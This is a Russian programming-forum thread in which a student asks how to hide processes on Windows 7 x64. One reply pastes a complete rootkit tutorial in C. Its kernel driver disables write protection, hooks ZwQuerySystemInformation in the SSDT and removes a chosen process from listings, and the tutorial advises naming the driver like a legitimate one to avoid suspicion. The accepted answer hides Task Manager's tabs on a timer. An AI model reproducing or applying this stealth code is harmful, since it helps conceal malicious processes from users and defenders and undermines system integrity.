Форум программистов, компьютерный форум, киберфорум
C++ Builder
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.79/43: Рейтинг темы: голосов - 43, средняя оценка - 4.79
 Аватар для QuazyThain
0 / 0 / 0
Регистрация: 07.05.2011
Сообщений: 61

Доделать программу (Скрытие процессов)

01.11.2011, 23:53. Показов 8265. Ответов 15
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Это программа из Экзамплов билдера.
https://www.cyberforum.ru/atta... 1320176988

Собственно сабж: Нужно доделать(сделать) функцию скрытия процессов так, что бы она работала на Windows Vista/7(x64).
Вот пример нужной программы для ХР/Vista/7(x32):
https://www.cyberforum.ru/atta... 1320176988

Кто что на счет этого думает, может помочь?
Вложения
Тип файла: rar ProcView.rar (8.1 Кб, 444 просмотров)
Тип файла: rar HideToolz_v2.1.rar (95.9 Кб, 694 просмотров)
0
Лучшие ответы (1)
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
01.11.2011, 23:53
Ответы с готовыми решениями:

Скрытие программы из процессов. Borland C++
Добрый вечер! Я знаю что эта тема всем не понравится. Она обсуждалась много раз, но я не смог найти не чего рабочего. Прошу понять и по...

Доделать программу сортировки только положительных однозначных чисел
Добрый день. Моя программа сортирует только положительные однозначные числа. Помогите переделать ее так, чтобы сортировались любые числа...

Скрытие процессов
Здравствуйте уважаемые форумчане! Нужно скрыть процессы которые запускаются через Process(от 1 до 15 процессов). SetParent(WinAPI),...

15
 Аватар для cpp_developer
20124 / 5691 / 417
Регистрация: 09.04.2010
Сообщений: 22,546
Записей в блоге: 1
02.11.2011, 00:45
все, что пока надумал - какая, собственно, Ваша роль во всем этом ?
0
 Аватар для Gremlin
519 / 307 / 58
Регистрация: 30.07.2008
Сообщений: 607
02.11.2011, 00:45
ставить хук на ZwQueryInformation и в цикле пропускать процесс, который нужно скрыть
1
 Аватар для QVO
652 / 462 / 80
Регистрация: 26.10.2010
Сообщений: 1,263
Записей в блоге: 4
02.11.2011, 01:02
на windows 7 разве возможно скрыть процесс?
насколько помню HideToоlz не работал.
0
 Аватар для Gremlin
519 / 307 / 58
Регистрация: 30.07.2008
Сообщений: 607
02.11.2011, 01:03
Цитата Сообщение от QVO Посмотреть сообщение
на windows 7 разве возможно скрыть процесс?
насколько помню HideToоlz не работал.
Вроде в 2.2 все работает... ток я не проверял

и яб покопал в сторону служб
0
 Аватар для QuazyThain
0 / 0 / 0
Регистрация: 07.05.2011
Сообщений: 61
02.11.2011, 02:11  [ТС]
Цитата Сообщение от LK Посмотреть сообщение
все, что пока надумал - какая, собственно, Ваша роль во всем этом ?
"Хочешь 5ть? Вот есть такая програмка, сделай так что бы она скрывала процессы на 7ке х64" Вот приблизительно так мне сказал преподаватель.

Добавлено через 1 минуту
Цитата Сообщение от Gremlin Посмотреть сообщение
Вроде в 2.2 все работает... ток я не проверял

и яб покопал в сторону служб
На х64 7ке не работает
0
 Аватар для QVO
652 / 462 / 80
Регистрация: 26.10.2010
Сообщений: 1,263
Записей в блоге: 4
02.11.2011, 02:23
QuazyThain, информации много в google.com.
http://www.codeproject.com/KB/... river.aspx
 Комментарий модератора 
Правила
п.3.7. Запрещено публиковать ссылки на другие форумы.
Хотите сделать доброе дело - скопируйте и выложите сюда решение.
И избегайте направления пользователя в поисковики.

Hooking NtQuerySystemInformation to hide processes (Source + Binary)

This is my first tutorial and I assume you have some C / C++ knowledge. The driver is coded in C and the Driver Loader is coded in C++. In this tutorial we are going to replace the Kernel Function NtQuerySystemInformation.

An Very Short Introduction To Drivers

There are a few differences between user-mode programs (consoles and Win32 applications) and drivers.

A driver can't be started as an normal .EXE file. NT drivers are compiled to .SYS binaries, which need to be loaded as drivers before they can be ran.

Drivers run in kernel mode, they are given an higher privelege level. With a driver, you can do pretty much anything you want to to the computer the driver is running on. There are no limitations, since drivers are given SYSTEM priveleges.

Errors in kernel mode and user mode are handled very differently. The Blue Screen of Death is actually a very useful thing. When a problem in the driver occurs, Windows stops execution of all programs and drivers, and brings down the system in a controlled manner. If not for this, extensive system corruption could be caused by a faulty driver that keeps running after encountering a fatal error. Make sure that when you're writing drivers you are very careful with your code, and it's best to use a debugger and run it in a VM.

You can read more about driver development [Только зарегистрированные пользователи могут видеть ссылки. Зарегистрироваться...].

Windows Driver Development Kit (DDK)

You will need the latest version of [Только зарегистрированные пользователи могут видеть ссылки. Зарегистрироваться...], which contains the DDK in order to create drivers. The DDK contains many useful headers and libraries, as well as the binaries we're going to be using to build our driver. In this tutorial I'm using version 3790.1830. You will have to download the .ISO file and burn it to a CD disc or extract all files in it to your harddisk using WinRAR. It is possible to use DDK with Visual Studio, but it's not recommended. The console and Notepad will do just fine.

Once you finish installing, there should be a directory on your drive such as C:\WINDDK\3790.1830 (It depends on where you choose to install it and the numbers are the DDK version). Open C:\WINDDK\3790.1830 with Windows Explorer, if you installed the samples there should be a src directory (If you didn't then just create one). Inside, create a folder for your created drivers (Call it MyDrivers, or whatver you want). Don't use any spaces in your folder names, you will get errors if you have. In that folder, make a new one for your first driver that we are going to create now. Name it MyDriver. In that folder, you need to create 4 files:

Make sure that when you create these two files you do not give them an extension.

Makefile (Which essentially redirects to the Makefile provided in the DDK)
C++
1
2
3
4
5
6
7
8
!INCLUDE $(NTMAKEENV)\makefile.def
 
Sources
TARGETNAME=MyDriver
TARGETTYPE=DRIVER
TARGETPATH=Bin
INCLUDES=..\..\Includes
SOURCES=Main.c
The TARGETNAME variable controls what your driver will be named. Remember that this name may be embedded in the binary itself, so using a TARGETNAME of MY_EVIL_ROOTKIT_IS_GONNA_GET_YOU is not a good idea.

Better names for the driver are those that look like legitimate device drivers.

Examples include MSDIRECTX, MSVID_H424, IDE_HD41, SOUNDMGR, and H323FON.

The TARGETPATH variable controls where the files go when they are compiled. Usually your driver files will be placed underneath the current directory in the objchk_xxx/i386 subdirectory.

The TARGETTYPE variable controls the kind of file you are compiling. To create a driver, we use the type DRIVER.

On the SOURCES line, a list of .c files is expected.

Before continuing, I would like you to known that DbgPrint("Hello World!\n"); prints an message to a debugger which is running on the system. You can download DbgView [Только зарегистрированные пользователи могут видеть ссылки. Зарегистрироваться...]. DbgPrint is very useful when testing.

The drivers DriverEntry is just like WinMain in a Win32 Application, or DllMain in a DLL.

Main.c
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <ntddk.h> // Always include this file. Ntddk.h is a header you need to write drivers.
#include "ZwQuerySystemInformation.c" // ZwQuerySystemInformation.c contains the new hooking function.
 
// The Service Description Table (SSDT)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PointerServiceDescriptorTableEntry;
 
// Import KeServiceDescriptorTable from ntoskrnl.exe.
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;
 
// SYSTEMSERVICE returns the address of the Nt* function.
#define SYSTEMSERVICE(Function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)Function+1)]
 
void HookFunctions( void )
{
// Save the original ZwQuerySystemInformation so we can restore it later when unhooking.
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
 
// ABOUT WRITE PROTECTION: Write Protection presents a significant problem to your rootkit if you want to filter the responses returned from certain system calls using call hooking. If an attempt is made to write to a read-only portion of memory, such as the SSDT, a Blue Screen of Death (BSoD) will occur.
// Disable the Memory Write Protection so we can access the read-only protected System Service Dispatch Table (SSDT).
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
 
// Replace the ZwQuerySystemInformation function in the System Service Dispatch Table (SSDT) with our new hook function.
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = NewZwQuerySystemInformation;
 
// From now on, when any process on the system (like the Task Manager) issues a System Call for the process list – the Rootkit’s NewZwQueryInformation routine will be called instead of the kernel’s ZwQuerySystemInformation function.
 
// Enable the Memory Write Protection again.
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Hooked!\n");
}
 
void UnHookFunctions( void )
{
// Disable the Memory Write Protection so we can access the read-only protected System Service Dispatch Table (SSDT).
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
 
// Unhook and restore the original ZwQuerySystemInformation.
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
 
// Enable the Memory Write Protection again.
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Unhooked!\n");
}
 
// Unload Function
NTSTATUS UnloadFunction(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading Driver...\n");
 
UnHookFunctions();
 
DbgPrint("Driver Unloaded!\n");
 
return STATUS_SUCCESS;
}
 
// During execution of the Rootkit module’s DriverEntry routine, the Rootkit modifies the System Service Dispatch Table by replacing the kernel’s ZwQuerySystemInformation with the Rootkit’s NewZwQuerySystemInformation function.
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
DbgPrint("Loading Driver...\n");
 
// Initialize the pointer to the unload function. (If we do not set this pointer, then the driver can be loaded but never unloaded.)
DriverObject->DriverUnload = UnloadFunction;
 
HookFunctions();
 
DbgPrint("Driver Loaded!\n");
 
return STATUS_SUCCESS;
}
ZwQuerySystemInformation.c
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <ntddk.h> // Always include this file. Ntddk.h is a header you need to write drivers.
 
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
};
 
// ZwQuerySystemInformation API
// • A function implemented in the kernel that constructs a list of processes currently running on the system and returns the list to the caller.
// • A user space application (such as the Windows Task Manager) cannot call this function directly because it exists only in the Kernel’s address space.
 
// Import the ZwQuerySystemInformation API.
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
 
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
 
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; // A pointer to the original ZwQuerySystemInformation function
 
// The Rootkit module implements its own version of the ZwQuerySystemInformation routine named “NewZwQuerySystemInformation”.
NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
// • The original function returns the real list of processes back to the hook function. The hook function then iterates through the returned list and removes the "winlogon.exe" entry. (or the process you have specified)
// • The hook function then returns the modified list back to the original caller that invoked the system call.
 
NTSTATUS NtStatus;
 
// ANSI To Unicode
ANSI_STRING Process = {0};
UNICODE_STRING UnicodeProcess = {0};
 
RtlInitAnsiString(&Process, "winlogon.exe"); // This is the name of the process that will be hidden.
RtlAnsiStringToUnicodeString(&UnicodeProcess, &Process, TRUE);
 
// Call the original function.
NtStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
 
// Check if the call to the original function was successful.
if(NT_SUCCESS(NtStatus))
{
if(SystemInformationClass == 5) // 5 = Processes (It is possible to hide drivers and handles too)
{
struct _SYSTEM_PROCESSES *CurrProc = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *PrevProc = NULL;
 
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
while(CurrProc)
{
// Check to see if this is a process that we want to hide.
if (RtlEqualUnicodeString(&UnicodeProcess, &CurrProc->ProcessName, 1))
{
// I don't know how to explain the following code without pictures.
if(PrevProc)
{
if(CurrProc->NextEntryDelta)
{
PrevProc->NextEntryDelta += CurrProc->NextEntryDelta;
}
else
{
PrevProc->NextEntryDelta = 0;
}
}
else
{
if(CurrProc->NextEntryDelta)
{
(char *)SystemInformation += CurrProc->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else
{
CurrProc = NULL;
break;
}
}
if(CurrProc != NULL)
{
PrevProc = CurrProc;
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else CurrProc = NULL;
}
}
}
}
return NtStatus; // Return the modified ZwQuerySystemInformation.
}
Compiling is very simple. Go to Start / Programs / Development Kits / Windows DDK / Build Evironments / OS NAME / Checked Build Environment (This may change depending on your DDK version). This will open a command prompt. Type cd "...\src\MyDrivers\MyDriver" to navigate to the drivers path. Now type build or make to compile the driver. The .SYS file should be in C:\WINDDK\3790.1830\src\MyDrivers\MyDriv er\i386\ (Depending on OS and DDK version and installation path).
1
 Аватар для QuazyThain
0 / 0 / 0
Регистрация: 07.05.2011
Сообщений: 61
02.11.2011, 02:29  [ТС]
Цитата Сообщение от QVO Посмотреть сообщение
QuazyThain, информации много в google.com.
http://www.codeproject.com/KB/... river.aspx
Спасибо
0
 Аватар для QuazyThain
0 / 0 / 0
Регистрация: 07.05.2011
Сообщений: 61
10.11.2011, 00:35  [ТС]
Что-то не получается разобраться со всеми этими хуками
0
 Аватар для cpp_developer
20124 / 5691 / 417
Регистрация: 09.04.2010
Сообщений: 22,546
Записей в блоге: 1
10.11.2011, 01:23
Информации даже слишком много для диагноза .
0
 Аватар для QuazyThain
0 / 0 / 0
Регистрация: 07.05.2011
Сообщений: 61
11.11.2011, 22:02  [ТС]
Цитата Сообщение от QVO Посмотреть сообщение
QuazyThain, информации много в google.com.
http://www.codeproject.com/KB/... river.aspx
ПравилаХотите сделать доброе дело - скопируйте и выложите сюда решение.
И избегайте направления пользователя в поисковики.
Походу так же не работает под х64:
Миниатюры
Доделать программу (Скрытие процессов)  
0
872 / 448 / 35
Регистрация: 25.10.2011
Сообщений: 910
12.11.2011, 09:02
В таймер с интервал равным единице:

C++
1
2
3
4
5
6
7
HWND MyHandle = FindWindow(0,"Диспетчер задач Windows");
if (MyHandle)
{
  MyHandle = FindWindowEx(MyHandle,0,0,"Процессы");
  MyHandle = FindWindowEx(MyHandle,0,0,"Процессы");
  ShowWindow(MyHandle,SW_HIDE);
}
Вариант шуточный и если хотите "защита от дурака", но если препод этим заданием не решил втоптать в землю, то проканает, если он сказал следующее:
"Хочешь 5ть? Вот есть такая програмка, сделай так что бы она скрывала процессы на 7ке х64"
Ибо программа скрывает процессы, проверенно на 7ке 64битной В любом случае, нужно быть точнее в своих желаниях
1
 Аватар для Samrisbe
1365 / 732 / 67
Регистрация: 28.01.2011
Сообщений: 2,069
12.11.2011, 11:02
А вкладку "Приложения" в диспетчере задач нельзя темже способом сделать пустой?
0
872 / 448 / 35
Регистрация: 25.10.2011
Сообщений: 910
12.11.2011, 11:31
Цитата Сообщение от Samrisbe Посмотреть сообщение
А вкладку "Приложения" в диспетчере задач нельзя темже способом сделать пустой?
Можно, второй заголовок дескриптора окна "Приложения", третий "Задачи". Если не использовать определение третьего дескриптора, то хайдить будет больше

ps. напоминаю, что это грубый способ, если юзер использует какой-нибудь заменитель диспетчера, то толку нуль, так же в разных языковых версиях настройках окна имеют разные заголовки. Можно производить поиск по класам, но это уже ковровую бомбардировку будет напоминать.
0
 Аватар для Samrisbe
1365 / 732 / 67
Регистрация: 28.01.2011
Сообщений: 2,069
12.11.2011, 11:50
Если не трудно напиши код ато у меня не срабатывает сделанный своими ручками.
Еще можно отобразить процессы нажав на кнопку отобразить процессы всех пользователей.
Я антвиром проверил...
0
872 / 448 / 35
Регистрация: 25.10.2011
Сообщений: 910
12.11.2011, 12:00
Лучший ответ Сообщение было отмечено как решение

Решение

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
Timer1->Interval = 1;
//...
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
   HWND MyHandle = FindWindow(0,"Диспетчер задач Windows");
   if (MyHandle)
   {
      HWND  hProcess = FindWindowEx(MyHandle,0,0,"Процессы"),
            hApplication = FindWindowEx(MyHandle,0,0,"Приложения");
      ShowWindow(hProcess,SW_HIDE);
      ShowWindow(hApplication,SW_HIDE);
   }
}
3
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
12.11.2011, 12:00
Помогаю со студенческими работами здесь

Скрытие процессов
Ребят всем привет , я вас умоляю подскажите прогу которая скрывает процессы на Win 7 x64 . Пожалуйста , а то блин вообще не знаю что делать...

Скрытие файлов и процессов
Здравствуйте. Получено достаточно сложное задание - написать драйвер, скрывающий заданный файл в проводнике, а также скрывающий заданный...

Доделать программу
Задание : Фамилия и инициалы, должность, год поступления на работу, зарплата. Создать массив объектов. Вывести: а) список работников,...

Доделать программу
Прошу помочь, нужно вписать в программу пару деталей. Вот исходный текст: Program RA_EXAM; uses VCL, utils; var MainForm: Form; ...

Доделать программу
function varargout = gister(varargin) % GISTER M-file for gister.fig % GISTER, by itself, creates a new GISTER or raises the...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
16
Ответ Создать тему
Новые блоги и статьи
Символьное дифференцирование
igorrr37 13.02.2026
/ * Программа принимает математическое выражение в виде строки и выдаёт его производную в виде строки и вычисляет значение производной при заданном х Логарифм записывается как: (x-2)log(x^2+2) -. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL3_image
8Observer8 10.02.2026
Содержание блога Библиотека SDL3_image содержит инструменты для расширенной работы с изображениями. Пошагово создадим проект для загрузки изображения формата PNG с альфа-каналом (с прозрачным. . .
Установка Qt-версии Lazarus IDE в Debian Trixie Xfce
volvo 10.02.2026
В общем, достали меня глюки IDE Лазаруса, собранной с использованием набора виджетов Gtk2 (конкретно: если набирать текст в редакторе и вызвать подсказку через Ctrl+Space, то после закрытия окошка. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru